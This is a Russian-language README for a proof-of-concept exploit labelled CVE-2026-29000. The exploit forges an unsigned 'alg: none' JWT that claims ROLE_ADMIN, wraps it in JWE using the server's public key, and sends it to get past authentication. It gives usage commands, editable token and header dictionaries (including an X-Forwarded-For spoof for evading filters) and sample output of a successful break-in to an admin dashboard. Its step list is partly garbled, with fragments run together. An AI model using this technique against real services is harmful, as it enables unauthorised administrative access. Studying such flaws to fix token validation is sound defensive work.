
PoC уязвимости CVE-2026-29000
Скрипт Proof-of-Concept (PoC), демонстрирующий уязвимость обхода аутентификации с использованием JSON Web Tokens (JWT) и JSON Web Encryption (JWE). Этот инструмент эксплуатирует среды, которые некорректно проверяют алгоритмы токенов, принимая непроверенные JWT (alg: none), обёрнутые в валидную структуру JWE.
Данная цепочка эксплойта использует распространённый недостаток криптографической реализации:
jwks (JSON Web Key Set) цели и загружает публичный RSA-ключ сервера.ROLE_ADMIN. В заголовке алгоритма намеренно устанавливается "alg": "none".Authorization: Bearer. Если сервер расшифровывает JWE и слепо доверяет внутреннему JWT, не проверяя его подпись, доступ предоставляется.Перед запуском скрипта убедитесь, что у вас установлен Python 3, а также необходимые зависимости.
pip install requests jwcrypto
Скрипту требуются два аргумента: URL защищённой панели цели, которую вы хотите протестировать, и URL, где размещены публичные ключи.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
В зависимости от вашей цели вам может потребоваться изменить структуру токена или HTTP-запросы для обхода конкретных фильтров.
Если целевой сервер ожидает определённые поля внутри самого JWT (например, заголовок typ или пользовательские ID в payload), вы можете легко добавить их.
Откройте exploit.py и найдите этот раздел:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Вы можете добавить любые поля, разделяя их запятыми. Например, чтобы добавить typ (Type) и kid (Key ID) в заголовок JWT, а также произвольный email в payload:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Если ваша цель требует определённые сетевые заголовки (например, кастомный User-Agent, заголовки обхода типа X-Forwarded-For или API-ключи), найдите сетевой запрос в нижней части скрипта:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Добавьте дополнительные сетевые заголовки следующим образом:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Примечание: Если эти заголовки также необходимо отправлять во время первоначальной загрузки публичного ключа, вы можете передать этот же словарь в вызов requests.get() в верхней части скрипта.
При успешном выполнении скрипт выведет подделанный токен и проанализированный ответ от ограниченной конечной точки, подтверждая обход:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
Ошибки HTTP 401/403: Целевой сервер корректно проверяет подписи и отклоняет payload с alg: none. Эксплойт не сработал, потому что цель защищена.
Ошибки соединения: Убедитесь, что указанные URL включают полную схему (http:// или https://) и что целевой сервер в данный момент доступен.
Ошибки зависимостей: Убедитесь, что jwcrypto корректно установлен через pip.